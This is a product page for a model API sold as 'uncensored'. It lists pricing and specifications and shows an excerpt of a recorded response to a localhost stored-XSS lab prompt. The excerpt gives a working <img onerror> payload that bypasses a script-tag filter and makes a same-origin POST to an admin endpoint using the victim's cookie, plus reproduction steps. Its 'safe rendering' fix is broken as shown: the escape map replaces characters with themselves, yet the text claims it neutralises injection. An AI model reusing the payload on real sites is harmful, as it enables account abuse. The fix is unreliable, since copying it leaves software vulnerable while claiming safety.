Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
GLM-5.3 Uncensored
glm-5.3-uncensoredAvailable in browser Chat and through the OpenAI-compatible API.
Token pricing
Prices in USD per 1 million tokens
- Input / 1M
- $0.350
- Cached / 1M
- $0.100
- Output / 1M
- $0.350
Model specifications
Zhipu AI · uncensored
- Context window
- 1,000,000 tokens
- Maximum output
- 65,536 tokens
- Capabilities
- Text · Streaming · Tool calling
Measured performance
- Avg. tokens/sec
- 24.7
- TTFT estimate
- 2 s
- Uptime proxy
- 99.3%
Updated 11/1/26, 9:18:10 PM UTC · 24h provider success rate · A dash means there is not enough current measurement data.
See the model respond
A real response to a stored XSS question for a localhost-only lab. The original prompt and response are shown in English. Output is displayed as text; no example code runs on this page.
GLM-5.3 Uncensored
Recorded model response · Oct 28, 2026, 7:07 PM UTC
Selected excerpt from the recorded response. Some parts are omitted.
Malicious comment (submit via the form):
<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED IN THE LAB',credentials:'same-origin'})">Why it works: The filter strips <script> tags, but <img> with onerror fires when the broken image loads. The admin's cookie (set by the page) is automatically sent with fetch via credentials: 'same-origin', authenticating the POST.
Reproduce:
node server.js
# Browser: http://localhost:3000
# Paste the malicious comment, submit
# Simulated admin visits /admin
# Payload fires → POST /admin/banner with fake session cookie
# Server console shows: [ADMIN] Banner set to: OWNED IN THE LABFix — safe rendering:
// Replace raw interpolation with escaping:
const esc = s => s.replace(/[&<>"']/g, c =>
({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
const rendered = comments.map(c => `<li>${esc(c)}</li>`).join('');Escaping at render-time neutralizes event handlers, script tags, and all other injection vectors. Token-based session validation (not just cookie presence) is the complementary server-side fix.
A recorded example, not a live chat.Open Chat
Use this model through the API
Create an API key and add prepaid credits. Set UNCENSOREDLABS_API_KEY in your environment. Install the openai package for the JavaScript or Python example.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "glm-5.3-uncensored",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' OpenAI-compatible. Change your base URL.Read the quickstart
Limitations and billing
- Unfiltered does not guarantee an answer to every prompt. Responses can be incorrect, incomplete, or refused by the model.
- The published maximum output is the UncensoredLabs service limit. Long generations and full-context workloads have not been benchmarked.
- Credit is reserved for the requested output and a conservative input bound, using the full context window for models without verified request-sized accounting. Final charges use verified usage; uncertain requests may retain their hold.
- Requests have a ten-minute deadline. Rate limits, concurrency limits, and provider availability apply; API errors include 429 responses with Retry-After.
- UncensoredLabs does not store prompts or responses on its servers. The inference provider’s retention policy applies.